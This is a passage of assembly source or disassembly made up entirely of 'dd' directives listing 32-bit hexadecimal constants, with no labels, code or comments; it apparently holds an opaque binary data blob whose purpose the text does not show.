dd 0F0432115h, 0D47604D4h, 1FF0C1B8h, 7219D6EEh, 0E476EEA2h
dd 0EAF12965h, 90E16D99h, 565194B0h, 3F369623h, 0DE1DD94h
dd 0D8C56F05h, 0F8231547h, 6284EF5Bh, 699CE86h, 6CAE401Bh
dd 0EDA69595h, 723C1D30h, 0E53570B8h, 0AA12DF1Dh, 87CDF358h
dd 0B888AC51h, 4A387CACh, 0A8032A0Ch, 340205DFh, 0F376417h
dd 80F8EC01h, 0ECF91A03h, 308E48AEh, 1414E5E1h, 5E5FD50Bh
dd 638AC839h, 0E5D5038Fh, 0DAE6D355h, 0C5B616DBh, 421D6253h
dd 7CBBEAE8h, 7AA0496Bh, 49654C47h, 64ABD2ADh, 442E26D3h
dd 0E3BE15A4h, 614C6410h, 0C220166Ah, 9F46D610h, 0B29DF611h
dd 0CB82AB05h, 0F4638995h, 94834CB3h, 0C9CE63EAh, 77555ECDh
dd 0BC0ACDA0h, 59005232h, 0AA08BA49h, 42E894C9h, 0BE4A8D50h
dd 0A2FFBCB8h, 82E4F3C2h, 87EB5BD5h, 92374977h, 12FC2A91h
dd 47E5EDB7h, 2121535Ah, 29454F15h, 1DDB7752h, 0C7039DEFh
dd 0C883A307h, 40D04EF2h, 9E80B602h, 0C64BD5ECh, 61BD5063h
dd 22E6D801h, 0A3F48C31h, 8E31A00Fh, 3084485Ah, 5F4E7A7Dh
dd 0CE8A3EA0h, 0C8BAE639h, 7DA8AD17h, 0DE6FB3F9h, 2F15BE76h
dd 0A6F8336Bh, 6E4A8E2Fh, 20E69D1Ch, 465E59C3h, 550A0C8Eh
dd 0D271B53Eh, 948BBBEEh, 38DFB8B5h, 89219873h, 10F5C824h
dd 841C8DAh, 0BC3C4856h, 0E8D54435h, 0C8BF8F69h, 7A836296h
dd 91AB19DFh, 20651CFAh, 697C1550h, 24151131h, 6DD03F43h
dd 6581CFC9h, 0D09E811Bh, 59855A04h, 0A4426A50h, 3F6695B7h
dd 0BAF78FE5h, 0D529B9EAh, 13E88625h, 50043A1Ah, 1FA712AAh
dd 9567B1B9h, 0D8FD3827h, 0B6377685h, 0C094E10Eh, 20DD27B0h
dd 0C0F937BCh, 1EC4861Dh, 0E258120Fh, 0A2E4E509h, 0BF12E28h
dd 620A9A27h, 73BBF926h, 0B8859A3Fh, 0E0DC7C1Fh, 22EF0E32h
dd 78A9233Eh, 345F78A3h, 75E18A39h, 20782A0Ah, 7B054EBAh
dd 0F3F5CE0Bh, 0DD1973E9h, 0B28D6949h, 43911232h, 26E69647h
dd 5C413D4Eh, 809A4D1h, 0FC99DEB2h, 0E69442EFh, 710FA023h
dd 582C66ACh, 46F0E2ABh, 2DC94DC7h, 5B12D23Bh, 0D9092064h
dd 6D01B61Bh, 0FFB42108h, 863AEE3h, 0C143F673h, 7B2B2355h
dd 492855E5h, 0EFBEF6E8h, 24C10F3Ch, 0FD141BC6h, 0EE20339Fh
dd 0DBB802F8h, 950B156Bh, 4EDE48D2h, 8FAC9B1Eh, 95D83823h
dd 0ECC4A61Ah, 8B8EAC65h, 0FAAD6FB2h, 83ED3B34h, 711C503h
dd 8A1136E2h, 5E1C88E4h, 67909E49h, 76DE813Ah, 103B4C8Bh
dd 0C09FA4E7h, 0C357881Dh, 4BAE0F6Dh, 0A12B8F97h, 0F8E721F6h
dd 0A591FC40h, 0E2D34CEFh, 0A94DB58Fh, 78803D50h, 0B911D93Eh
dd 633F4B37h, 4C852CB4h, 77F1A3BDh, 233D08DDh, 41666581h
dd 0C23D8899h, 0D48FCC12h, 0D25C1D07h, 0A04C4B56h, 4119F6A6h
dd 0A3357ABFh, 944E678Ch, 0AE8F9CBEh, 7D5C4460h, 72406F75h
dd 82B5D01Ch, 0F3ABBCEFh, 2C98CC8Fh, 0BCBF8FD1h, 0F5DBF368h
dd 83285426h, 6BF3F97Ah, 0E110EBD8h, 4A69AC62h, 0D4EAFD09h
dd 0B75BD5E7h, 9B5607C0h, 43613D1Dh, 8A27DA81h, 0DA4F8FA5h
dd 0C23B86B6h, 1112F700h, 0CC7CEFDBh, 0ED788F2Fh, 81BB5522h
dd 0F2012921h, 59207D1h, 0A48E1508h, 0DFDEACDCh, 0ED6C632h
dd 8BA93EC7h, 0BDBB6D23h, 7D2A7F1Bh, 3E378181h, 42EDE2C3h
dd 516EFB5Fh, 7E7DD24Ah, 0FAC6CEB4h, 6BCEA21Bh, 7991933Ah
dd 0E675AD1Eh, 0C0F02620h, 4A508572h, 469B1BFEh, 120F978Ch
dd 2AC69700h, 0DFC7589Fh, 0EC61603Bh, 3082976Ch, 2BDD4E7Ah
dd 0D6F74F1Ah, 7DADC047h, 0D356E838h, 0C1C8D7A3h, 83651B56h
dd 6E6E85E7h, 5DFC6662h, 0CB76CA25h, 3C433E9Ah, 0ACAAD06Eh
dd 1E35A374h, 94ABEBA3h, 1F7C16B6h, 0B1D50AD4h, 0DE91A7E7h
dd 476C60F9h, 0ECEF3FFEh, 1AAC4F28h, 7F2220E0h, 96CAA823h
dd 5BA575C2h, 4EE18354h, 90962B98h, 0B2387F25h, 0E28A8386h
dd 0BA44046Eh, 0BA6752Ah, 6B52D61h, 11A1B010h, 5F8A1782h
dd 58C3E914h, 0DFBBD2C6h, 0C47863A6h, 0C65745CAh, 0C2E1C90Dh
dd 0F9BDFEFh, 385D7175h, 60DA6033h, 0EF48CF8Bh, 5FCEAB1Eh
dd 0B1CCCD6Ah, 7626041Ch, 0A36A7AF5h, 38EE49DAh, 50F137B8h
dd 0B55F3FAAh, 0F9826AAFh, 0A9817BCEh, 0D20840C4h, 0A5AE967Dh
dd 0B075B816h, 1CB9D116h, 0A20A7948h, 80955D60h, 0CFD110BAh
dd 765E3594h, 0AE2F161Eh, 0C86208B0h, 7F59E56h, 0AC79D00h
dd 7AC0BA78h, 1B1E792Eh, 0C7DBECAEh, 0A193DAB7h, 40CE9805h
dd 394D1B2Ch, 0E3364F3Ch, 0F1B948DFh, 5A5028F2h, 0EF1073F6h
dd 0AFDAF62Dh, 77329D78h, 319795F8h, 66F9310Bh, 0ABC63904h
dd 1706AAh, 35ED7056h, 0E0524C99h, 9D40029Ch, 133213CAh
dd 0BD7A38C2h, 2545AC9Bh, 8E15880h, 3BF23300h, 0E93F406Dh
dd 1FD6AC9h, 0B2AE0BE3h, 6758AED4h, 28C5D0E5h, 6879E009h
dd 0F26EF4EDh, 1F76E7h, 57481C6h, 1DA48070h, 0B783490Eh
dd 0C4F449C0h, 7DD31262h, 0EFA1EDA4h, 80608A92h, 72C9433Bh
dd 0C0D7BABFh, 0C5243673h, 0D1501217h, 36CF1CDAh, 980DB634h
dd 0E487A397h, 0FB6EA14Ah, 12332072h, 69AE3941h, 9F378F60h
dd 9B20CB33h, 7B50648h, 964CA9E1h, 8F7C919Ch, 91D8CB79h
dd 747EE57Ah, 94F44EECh, 635749DFh, 48530CDAh, 85B1822Eh
dd 0A08973DAh, 38EA75D8h, 141C591Ch, 491EA69h, 0F6170A7Eh
dd 0FE99D27h, 609721BFh, 0B09E907Dh, 1277B2B6h, 71628C06h
dd 0EA85EADCh, 0B109F6CEh, 924C1501h, 0A26E52FDh, 51CA033Bh
dd 9C4AB3C1h, 0F0447001h, 95F5BA65h, 63577C57h, 0BA904561h
dd 5E237DCCh, 13CD3BBCh, 1992241Dh, 357C590Dh, 35DCA81Bh
dd 18706E08h, 110CE8FFh, 5627DB4Fh, 9FDB4097h, 3E807598h
dd 0F243392Bh, 0CAB13509h, 96B0456Eh, 7A6E22D1h, 6D42C950h
dd 4974CA53h, 0DC32059Eh, 22B48DD7h, 11E00A8Ch, 94DA134h
dd 0DFB9783Ch, 9165B67Fh, 24742E04h, 0F4E874AEh, 79B9B957h
dd 0A768D356h, 0A786338Bh, 0A3085C26h, 45898692h, 3A925459h
dd 680DC508h, 4B9C7B52h, 0F8419CF5h, 71BF8ED8h, 4AAEF878h
dd 92F26E58h, 0C75F6230h, 452B2C02h, 7B641DD0h, 83AF9BA4h
dd 24B86D30h, 0BEEEBFACh, 425C4DAEh, 0CEECD50Bh, 103D36E6h
dd 24A1B30h, 351DE0C6h, 8B19CA5h, 0FF5B47B9h, 1B6D5BC4h
dd 198C38DDh, 1466939Eh, 0D099A102h, 4B6803B3h, 4A053254h
dd 0FA5A5F95h, 953852F3h, 6F7D45A5h, 2A60E650h, 0E27947Eh
dd 0E3432F95h, 12B792B8h, 4A841B6h, 40A25841h, 411A5293h
dd 0E7837511h, 579177D2h, 3A7A6E18h, 0EAF0AFD5h, 7D8AA130h
dd 0E303938Fh, 0CDB68D6h, 0AE10157h, 22B57B1Ch, 59AED8FDh
dd 9321B394h, 9F634B9Ch, 0E39E652Bh, 5E8EC948h, 3E4FFB82h
dd 0B95AF119h, 8F50DBF1h, 0DC3B4545h, 97ADC724h, 54FD9761h
dd 9F32872h, 0C168D061h, 6C061B75h, 6B3B3DE2h, 6B9750CBh
dd 0ED8B4562h, 229707E2h, 0B3C3D11Ah, 0DF3E43D5h, 0C602F034h
dd 0F2839CBh, 1B50A451h, 2F6CAEC7h, 1F519726h, 0B7B7E850h
dd 0BABFDE7Eh, 7A85DEF5h, 56C85C56h, 0AF92E23h, 0E16806FEh
dd 3E933915h, 0D2397A35h, 0F2DD7DAh, 33C1653Eh, 0F103818Bh
dd 217D1BE1h, 316A0822h, 9CD4FEA8h, 5D6DF3CEh, 0EA8A6DF6h
dd 9D9F9836h, 51ADF6BEh, 579AD0A6h, 91C4A18Ah, 6AAB4A3Eh
dd 0E59EB567h, 3F75D5DBh, 0AD592BDFh, 83045E5Bh, 127E3899h
dd 4DED021Dh, 0FC68873Dh, 636536AFh, 0DED2D7F7h, 35F41D22h
dd 0DCB744Fh, 0BCF61FEFh
dd 0D1ECB98Ch, 92CBD6C1h, 0B0B533B6h, 6290937Bh, 89CD9A09h
dd 40C8C18Fh, 6A9C2FF0h, 0CFE364ADh, 0E872C823h, 4C9521F0h
dd 3EB05ADFh, 43A05364h, 55D30465h, 55B08537h, 6F672283h
dd 3253B95Fh, 3C6FED60h, 1616100Ch, 72A69501h, 612930D2h
dd 0CAC23D56h, 69D4AB8Ch, 909F8434h, 38F5EF3Eh, 0D32C0C73h
dd 0B78B892Dh, 0B4D33D10h, 0EAD04001h, 0B480506Ah, 4FDFD9DAh
dd 0D7DB342Fh, 3ED68431h, 0E09F1399h, 78E7CDCDh, 9403B188h
dd 9331A9D7h, 0C0399260h, 4E535BA4h, 0CBC7044Ah, 4FFA21CFh
dd 8D218BA1h, 86483391h, 0E9ECFA83h, 0EFDB1C9Bh, 6AB3BA34h
dd 6C0BFA33h, 0F1B35E31h, 9C128822h, 6083D84Ah, 89A60A35h
dd 0B30D4E39h, 28D717EAh, 72D5145Bh, 0A31DC05Ch, 438DEE03h
dd 424583CBh, 9FC3AD05h, 0F2831029h, 7D173709h, 0E56E5737h
dd 2B4652FBh, 71E67FA8h, 0EB174631h, 6AACB179h, 75D7B288h
dd 18D137A8h, 843ECAA0h, 0FC8D824Eh, 8739E73Eh, 3F993D71h
dd 0DBAB965Dh, 0B9E6AEA6h, 6BEF3A0Dh, 6F978F67h, 0F048757Dh
dd 0F402F870h, 67966CDh, 0FC6CAD3Dh, 1988078Bh, 0AE85D137h
dd 0B02F532h, 0F101541Fh, 0E00016EEh, 0C5FEF434h, 0F43251CEh
dd 173B141Bh, 3232366Ch, 87A3998Fh, 8DBF6537h, 0C94D4A0Ah
dd 295785DBh, 0B0EB123Ch, 4359C1C2h, 0A713D332h, 8D691A2Fh
dd 4A7B0573h, 8F623FAAh, 0A28457BEh, 6AA4C3F9h, 3D372E2Ch
dd 3461B81Fh, 657FEC2h, 34AA7960h, 741C7E42h, 23128233h
dd 3A47CFE3h, 3B11F84Fh, 0D62E0EE0h, 0EC48B28Bh, 6D0A69DBh
dd 0A1DA0FF3h, 13E45BFCh, 6E9B68C0h, 583C6DD4h, 3C4E156Dh
dd 4C2518CFh, 163F261Fh, 0F5387B5Ch, 0E1E8FAF7h, 0C0177390h
dd 6FA9CC4Fh, 0C319C3DCh, 0C93E5776h, 962D98EDh, 5B03AEE0h
dd 92BA5695h, 394F38FCh, 0C889EA17h, 78FAD05Eh, 0BA2B59C5h
dd 726C205Ah, 5B6A3C5Ch, 0A5CFCC2Ch, 0A80A8FCDh, 0AAE61B8h
dd 0C7BB8DFEh, 7FAD09F1h, 22AEEAEAh, 3274AA76h, 0ACCBBFDFh
dd 0B0E0F4BFh, 7C7C98D1h, 35D094BFh, 83C99FA8h, 0E0271BDFh
dd 18A7AC4Ch, 0ACF68A2Ch, 27EC7316h, 874B786Eh, 0C1CE8600h
dd 2907E767h, 1AED801Dh, 1F03BA66h, 57BC83EBh, 2EB6FF37h
dd 3C87E3B2h, 72246565h, 0D09B0888h, 0F56EFD7Eh, 9D799941h
dd 976C2E09h, 8FBC2477h, 0FD9D3C95h, 0AD9023CDh, 0FD1A562Ch
dd 655FDFh, 284AACE8h, 0EAEAA545h, 4DDCF049h, 0C5726515h
dd 6D85A766h, 92AB4D71h, 396337BBh, 4F8A07BAh, 0A946ACFh
dd 0A84D8700h, 535CC82Bh, 2277E920h, 0D5ADED92h, 0ED146617h
dd 0AA0DFA30h, 0CAC46EC8h, 0FC217471h, 6508A232h, 0B373985Eh
dd 0A8076AA3h, 44E69DDFh, 9D1D5301h, 6B1A1D16h, 0F18FF759h
dd 9D0F07FBh, 41F75AB4h, 24CF668Fh, 4CDF5DD9h, 5413BEh
dd 0FC995684h, 8961FEDFh, 5132479Bh, 156C8357h, 0F203D35Ch
dd 955539B4h, 60863FF7h, 11B75FCEh, 6E3B2668h, 0A78DDA48h
dd 0FB6918F4h, 0B190A18h, 8F1D427Fh, 0F1F981FAh, 55708A98h
dd 0CAEF7492h, 3E9B756Ah, 0BDC89B68h, 518C13FDh, 0F664BA55h
dd 369D7576h, 0F6978479h, 87AAA38Dh, 0C30D76C0h, 512A6EE4h
dd 0DA1DAC3h, 0D2E17134h, 9C02094Ch, 79314EADh, 68AD5C44h
dd 0A1C3F771h, 0ADACEF2h, 82DFB60Bh, 71EBF399h, 940505DCh
dd 987057B4h, 0CCCE468Eh, 8067BDA8h, 81C10A46h, 0B14F247Bh
dd 235FEDECh, 4B22EE92h, 43082DF2h, 0F64B8B71h, 0BB3D06C6h
dd 6A2252DFh, 0BA743976h, 82089325h, 2A810AA3h, 0E68E802Ch
dd 0FDCE94Ch, 8C0A43D7h, 0CE06048h, 0BE66309Eh, 9E2ADEF3h
dd 54196562h, 0F30C1291h, 43663309h, 6D9C12D9h, 0C22AF512h
dd 126D3D38h, 595208D6h, 33F6FE1Ah, 0AEAABAAh, 34F95958h
dd 28D06349h, 4984E2C7h, 0A8C87254h, 0D65D9BCh, 0E7B864AEh
dd 77D6F86Eh, 0D8520DFDh, 67430D9Fh, 0FBFF7F2Dh, 0F2A54D77h
dd 64DE70Bh, 20EF7240h, 0EC479E22h, 3AF027A3h, 0DF86453Ah
dd 35056715h, 73E404D5h, 3832B33Ah, 0F27D8144h, 9E1AC83Ah
dd 0E623E20Fh, 0B3707EA1h, 6B26964h, 4CDADB83h, 86FA0045h
dd 11D0ED34h, 0DC0670E9h, 0CFB226E9h, 0FED8347Eh, 0D5FE775Bh
dd 7BD01687h, 0B1786CF4h, 0C370F998h, 9FEFA33Ch, 0ADE26859h
dd 26A017CFh, 3511A0DCh, 0AEC15554h, 82B95DE4h, 0F00F6404h
dd 0FC94C1DCh, 68246221h, 0C1591DC4h, 740703DEh, 89F850D3h
dd 0FFDBCB24h, 0C5C5A395h, 0A98226A9h, 39C93DABh, 29DDCA20h
dd 75B53A9Fh, 8D95ECFDh, 32127F09h, 0B5950837h, 763EAEAh
dd 82EAE31Ch, 0AD9FA17Eh, 0FF642634h, 0D5FB3D8Eh, 9709B142h
dd 99E9D85h, 40E3DCCBh, 0AFD3EB2Eh, 0E1997552h, 0FFE5706Bh
dd 1C129C21h, 0B7C228F5h, 0E9A1BE0Ch, 0DC4C9E8Dh, 0E99E6DF5h
dd 0A65F6DA4h, 4162952Bh, 0F046B160h, 3710A960h, 7374A8h
dd 7172ACAh, 0FE855FBCh, 2DB9E6DDh, 0A7767783h, 36B69F4Fh
dd 0D4A1AFB8h, 855FEE8Fh, 0BBBEE554h, 85828EFFh, 0D589C3Dh
dd 16682078h, 0CB91246h, 0CD94ABBAh, 6D17AD18h, 5D5EF86Ah
dd 0AEDF07C1h, 0FAF0D2E6h, 0E1B7C7D7h, 0E2845B9Dh, 545664DFh
dd 0D237CEBCh, 51B48D03h, 75D52B8Ch, 0E4F28BBFh, 546B5673h
dd 6C8351BEh, 15FC2D26h, 0A80BB7DBh, 348D482Ch, 2C81B0DCh
dd 0C9E67FF3h, 0BCC2B95Fh, 0F2E61C35h, 0BC10F5DCh, 0B2EDEB1Eh
dd 21362C0Dh, 9C075E5Ah, 38049D1h, 0A04B0571h, 0FF3DB70Eh
dd 7679966Ah, 36D3AD4Ch, 0C80C463Ah, 0B520E192h, 18E932F0h
dd 2F4A8562h, 88A436D4h, 0ABE0C975h, 87DEA5AFh, 0F82A754Ah
dd 509175C7h, 9F4BE87Dh, 23EA79BAh, 1900ACEh, 456C06F2h
dd 27A3C2BAh, 77DAFDFCh, 0EFA0100Eh, 7631B626h, 67D04CD6h
dd 0C6BC2BACh, 0EB4D601Eh, 74726575h, 5E9472C7h, 61D13241h
dd 23B1855Fh, 7F3EEA10h, 0C5E7C909h, 2A04F88Dh, 361A6894h
dd 67CE6AD3h, 0F27AEFDDh, 0E47D458Dh, 66FDA3A1h, 509A302h
dd 0AF6DE21Fh, 0E44BFBE6h, 62104300h, 0A4218AFFh, 0DEC7AAA5h
dd 22BBD58Fh, 91E8F0CAh, 9BE395ADh, 4A18369Eh, 0EFBF1010h
dd 0F2254B1Bh, 5EDC9CA6h, 8642E6A5h, 4DA59F2Fh, 0A0DB33A6h
dd 0E9729363h, 78F4422Fh, 73BC5C5Dh, 3F6A16C1h, 5FBF1725h
dd 0B7528D57h, 8C772668h, 13F5CC0Eh, 0A544E223h, 9A19289Fh
dd 8E554BC7h, 52319A55h, 43F7B895h, 9FAA6300h, 378151EAh
dd 6CA2F778h, 280E3925h, 0B91CDAF5h, 0B4FC4532h, 0C25065F3h
dd 4A63BBh, 0B143D736h, 2D4D7608h, 0B58DBE60h, 34AA5752h
dd 0D620073Eh, 3C50FEC3h, 91F663F1h, 0B22B714Dh, 2F39C05Eh
dd 0C94A7B21h, 0BECA9DE3h, 28D21226h, 9A3F522Bh, 4E460252h
dd 0B4586E26h, 758CE96Dh, 8914359Dh, 67681A0h, 0EBA98EB1h
dd 0F0061D21h, 3D4855CCh, 80B52F90h, 588178DDh, 0CE1326ADh
dd 0B21EAF15h, 8C79F985h, 1BECFAB7h, 6869F79Dh, 4D0378BBh
dd 8DE94D43h, 30C6F0E2h, 7CD7B03Ah, 25C54610h, 6D656C9Bh
dd 413D406Eh, 21C2F1EAh, 0F70E9D1h, 338DC4E0h, 0C542E29Dh
dd 0D4BD858Ah, 4DFD9AB4h, 36D50CD5h, 0AAA8DAD2h, 0D6032CA5h
dd 0CB6A7C7Ah, 166B32ABh, 0A0D96B2Fh, 3CF8622Fh, 0E2C42BD3h
dd 0FA4719E3h, 0D1643774h, 31CB476Ch, 7F7F4B99h, 0BB4A76A9h
dd 24E6436Ch, 0CAEC6B9h, 17750FE0h, 0C9A2D202h, 1EDDDC9Ch
dd 9659FFF0h, 0C0F8469Bh, 0D160BC86h, 789564D0h, 0D0768017h
dd 94F254FFh, 1703D8Ah
dd 0A820F926h, 0C0261527h, 0FE8AD846h, 0F6331780h, 2EBEA369h
dd 0EFE6CFCFh, 434D112h, 0AA951E3Dh, 713D11A1h, 18B39660h
dd 0B5198CD4h, 0BDD952E7h, 880B4E25h, 1E027778h, 51AAF41Dh
dd 61E17251h, 98C62B75h, 3D81D754h, 5731C20Ah, 34B3E2ACh
dd 6A98A5F8h, 3739CBA4h, 3A2E975h, 7D2A8B2Ch, 348B7FDFh
dd 339FCAC5h, 0CEB6E4A0h, 0E4F10764h, 0D51ABF74h, 48489F09h
dd 0F6A419A3h, 5CAAC27Dh, 298F03EFh, 297E78E7h, 9E5E8847h
dd 300E299Ch, 0BD93F3E4h, 4A031538h, 0F8E2732Fh, 0B108D882h
dd 0FC43CB8Dh, 0E8C0E98Fh, 2A7C64D4h, 1AB728F4h, 33D7359Bh
dd 0A01447DDh, 0A2232800h, 7D646D7h, 8A95D2A8h, 923E14Eh
dd 75E81FACh, 1AFFFF49h, 0AA569408h, 0C9578AD8h, 0A5A6C5D9h
dd 62DB93D3h, 0BB35C05Fh, 73490CACh, 0C44F4C47h, 0E2A63485h
dd 0D3FD497Ah, 61034A6Eh, 4467359h, 0A587473h, 50191CE6h
dd 0F2E4E893h, 109F8BE9h, 185A06DAh, 0FAC4AF36h, 59489C62h
dd 0A16E8FEBh, 196FE15h, 5440F283h, 0C07134E8h, 67D2395Bh
dd 5FFBC189h, 478DD5F0h, 0E138ECE4h, 0B1B8910Ch, 0F5C8E581h
dd 0A875B548h, 0CF75963Ch, 1156DF9h, 46A3B09Dh, 0D2B0BCB7h
dd 617B32BEh, 0F9BE8C35h, 0A83A75EBh, 0D114AAA4h, 0C5ED59BEh
dd 0B41133Dh, 954558A6h, 91790042h, 0ADFC0BCDh, 0AC1EB716h
dd 92EFBFDCh, 0BE2BA0C0h, 18C3E852h, 0A1FAE7D1h, 5CA82650h
dd 36FF16D5h, 5E907C15h, 5C060212h, 0F7CFD5E1h, 0E9C8BD14h
dd 0A6876518h, 0A1DA6AF7h, 52A06DFEh, 928F660Eh, 90ACD79Ah
dd 5D4332D2h, 2B7C3361h, 1C74BCDEh, 7BED8A48h, 98A3F23h
dd 37F1875Fh, 5BE55EC6h, 2C395D72h, 0EB90C3EEh, 8C4E4B69h
dd 0F4AE98B1h, 2DD4D272h, 99682BE4h, 3B9FAAC0h, 710F828Ch
dd 46A61C47h, 0A2F74673h, 0FF33D543h, 0E8DAF8Fh, 9D3266BDh
dd 49A20392h, 34450746h, 0E34F040h, 8FA8ED55h, 0FFE53B3Ah
dd 3B024A80h, 64B83293h, 917DA930h, 17E12B29h, 0DF118CDEh
dd 55475019h, 1969503Ah, 0B61AD2CDh, 92E30B52h, 0CB849E50h
dd 0C82D70C4h, 6124CA90h, 0D23E4456h, 0E9271F94h, 0D297775Ch
dd 0CEF753F6h, 0DE9D4142h, 0BA7C0B7Ah, 0EDE39E0Fh, 28A0A5E7h
dd 8C43BC5h, 2215F686h, 25A9A704h, 63E647EDh, 0CD17A342h
dd 468CCB62h, 97824A04h, 9064330Ch, 7749298Ah, 0ED85DB7Eh
dd 1BC8A502h, 0C1E918B9h, 7D9216E6h, 958D6415h, 3F64F695h
dd 0CB224466h, 0A9910328h, 88072F98h, 740472E2h, 28D2875Dh
dd 0EA6A5270h, 0A0C7C287h, 449930FFh, 0E5F42058h, 9652BCD7h
dd 0D0772488h, 7A835A4Eh, 22823A9Ch, 162055FEh, 0F3E9A973h
dd 3124BEC9h, 0AF3B0ED5h, 0ED7E22Dh, 0C040C16Eh, 6F05A223h
dd 3615CAF4h, 1DE646A8h, 9EB09030h, 0F0C02C30h, 0D81EAB0Ch
dd 9A572797h, 0A2ED100Ch, 0C6ADB6A2h, 2F9EE716h, 1759B32Ch
dd 6A071ECAh, 0D052D679h, 7B441019h, 7D492E2Ch, 79B3A663h
dd 5B9EABEBh, 0F6DC9A07h, 8F4C9063h, 0AC004EEAh, 0D81A1735h
dd 666B33B6h, 3D99DE04h, 7ECD1279h, 1215AEF9h, 4D38BD23h
dd 0BF2EC39Eh, 4891C8C2h, 150E2FC8h, 87F5C7D4h, 42A41609h
dd 43EFC2A1h, 0CDDA645Fh, 85F37838h, 9CABC667h, 491A9EBEh
dd 418AF9EAh, 3293E0C0h, 0C03AE037h, 491CBDC5h, 0B23D1B63h
dd 0FF94FD01h, 0DD75B373h, 7A1B5471h, 445A0B88h, 86361709h
dd 0E51FBEBCh, 0AC0A5416h, 0DC60504Ch, 1E692C71h, 7E7BDBEAh
dd 83C13E88h, 6AE6E417h, 87E7F7AFh, 0DF89A0E2h, 0D4217534h
dd 0BB1F16EDh, 1DA495DFh, 132E4B3Bh, 79D269FCh, 1BF0C7CBh
dd 93EFD68Fh, 0DFD7A310h, 450F662h, 802B8163h, 33F1D490h
dd 201DA5F7h, 166FB369h, 0DADC1D2h, 1426B3D6h, 39518535h
dd 0FCEA2611h, 9D49BC0Bh, 0B8FF0B75h, 0C7B6F210h, 64FB6F7h
dd 3BDCA5C2h, 14AADCBCh, 2B4BD65Ah, 0A60641D5h, 998E9CC0h
dd 4F12E4EDh, 8A2153A7h, 0A721C0C0h, 0EB6617ABh, 4053B17h
dd 0F7CD7E01h, 1C514E04h, 0F7C482AFh, 419C5A8Dh, 0A16F38D7h
dd 54DF68CEh, 1FFEEB8Fh, 438DDE9Dh, 604A2B8Eh, 0B87937F5h
dd 27A1EC2Fh, 7927B675h, 5CE97047h, 0CF95E12Ah, 435168B4h
dd 0CFC6222Eh, 0CD0F3E91h, 654F69F1h, 0EFB8144Ch, 0E1FFBB34h
dd 0A5E15F28h, 73DA4CDFh, 905E75B0h, 163A8C96h, 3DC4A396h
dd 4AED0AEFh, 9CF0C890h, 7196EA41h, 6E9AFB1Ch, 836FC0CFh
dd 838F9879h, 63719DE0h, 332BBF11h, 8557E7BAh, 0F6F8D548h
dd 288EEFE0h, 0D1CC847Ah, 0DF977642h, 0AB2F5BEDh, 0A0CD0DAEh
dd 0A2B9B901h, 52CF780Ah, 0F2B3F723h, 1DC595E8h, 4F14B2A0h
dd 0FF06C71Bh, 36F2ACD9h, 0DA4C7F82h, 0A33AA87Dh, 0FBA96A81h
dd 0C9233685h, 0C3003BC9h, 0AE5D2510h, 7CB7B6E3h, 0BC20E36h
dd 0B9044D8Fh, 7C9A961Fh, 0A7BE6E25h, 0F1A30709h, 38B59A02h
dd 85C7BB58h, 67BFCC90h, 6A8F9E90h, 7F6ABD7Dh, 0BC43029Eh
dd 0FD6D4988h, 71DAE124h, 6ED6AFD5h, 321D5E1Ah, 767DDFE7h
dd 9AE1C269h, 0F5298B36h, 57D6954Dh, 0E2864E5Eh, 0C20D9705h
dd 4FEC3DA0h, 436A1731h, 2B5A4F5Ah, 0B61ED57h, 9ABD1D9Eh
dd 71CB098Ah, 0F86A5A88h, 0AE1616ECh, 5EA15FE1h, 4432FAF5h
dd 1B3597ECh, 593811EEh, 0C9A51F72h, 5B55584Ah, 0DA485C89h
dd 0D5AEA063h, 6D1E87B6h, 6C8799Eh, 0CBB0553Eh, 414FD67Eh
dd 0E9F9F2DBh, 47FF76E8h, 0AF8B7295h, 6C2C9635h, 5740F599h
dd 75A004C5h, 7A84AFA4h, 756008CCh, 0E3712391h, 6F32B6BBh
dd 5E1B682Dh, 7E196190h, 0F5FC61F9h, 0AE470B1Fh, 0C1004756h
dd 0FEAED291h, 0AD05076Bh, 0A4E7FD53h, 446521E3h, 0B26ECF81h
dd 0D969B53h, 6D930BF8h, 3693EA80h, 54DDC737h, 0AA2D0EAh
dd 0F19418BAh, 0BA5F16E9h, 9B60EE27h, 4FA56C24h, 0F150931Dh
dd 0C45E1D8Ah, 0CADD780Ch, 0E0633FD0h, 94033BF8h, 0F0012AAAh
dd 0DEA97181h, 1CA5EFAFh, 995804CEh, 9B8B4DACh, 689D2390h
dd 0DA2ADF54h, 0D07710A1h, 0A0A1D5E6h, 82E41C5Ch, 8279F2E5h
dd 0E55B8261h, 566244F6h, 8CB62E63h, 0ACBF3CACh, 6940B731h
dd 0D3EDACE7h, 0F96740DBh, 91C60A65h, 9D59B6EAh, 0A8A04F1Fh
dd 33021925h, 1F2287AAh, 8C185F5Ah, 0B5AF7E3Eh, 40013651h
dd 0A408B4h, 0BB29D418h, 0C59EF689h, 0C7C6D078h, 6C0D1E8Ah
dd 18AC3887h, 0BCF35D53h, 0A9A2A7A2h, 691E2C6Fh, 0E3B85DB5h
dd 2CD84272h, 60B4D3C8h, 0C555FEAh, 9E80B55Ch, 51ED824Eh
dd 0EC70458h, 4BAFC854h, 629F249Eh, 34A5688Fh, 0AFCBDFD0h
dd 0ACAC9608h, 6128375Ah, 4EACB664h, 948AD74Eh, 13AC4347h
dd 47B24964h, 21CA490h, 76B504D4h, 882D19F7h, 0AA6F5585h
dd 0BBA336A8h, 0B308DABh, 21A45F73h, 0D7B6FDEDh, 1B2D1AE9h
dd 0ACA176D5h, 32450069h, 2163C992h, 0FFC29764h, 4654361Bh
dd 2F6D85FBh, 0B04A1E00h, 0B0673C6Ch, 9662DE20h, 0E54B4CD6h
dd 25A9C82Ch, 5A04254Ah, 3B5F779Dh, 8EF60B98h, 65A167C7h
dd 0E1494107h, 0C2B3E5CAh, 121502EBh, 58C91B17h, 7CB67707h
dd 0F733047Dh, 5D5B65C8h, 9249ED83h, 16F98C9h, 95EBBB21h
dd 45A29D48h, 897EBA90h, 64F87F4Ch, 76D5AB18h, 5BC4B1D0h
dd 57C3089Ah, 0D0A69593h, 420A702Dh, 4A53B54h, 9CC66037h
dd 0C9CC848Ch, 0BD4DB163h, 0C45356D1h, 8127A1ECh, 766D6553h
dd 63C8D61h, 0DCC0FE3Ch, 0CD57640Fh, 91F7197h, 0FBD168A9h
dd 4EA3221h, 0F154C866h
dd 0B19D078Ch, 0B19B230Ah, 0F480F1EDh, 0C994E3D7h, 3D4692E9h
dd 0A417C92Dh, 769BA31h, 5B54C260h, 96C1A2A2h, 1A2D5C2Eh
dd 0C518AD8Ch, 88AC6B7Ch, 884EC0E2h, 10DD3298h, 0FD9D28F7h
dd 0F3FC0391h, 3969FAE8h, 15FCABE4h, 4725806Fh, 0BEA833D4h
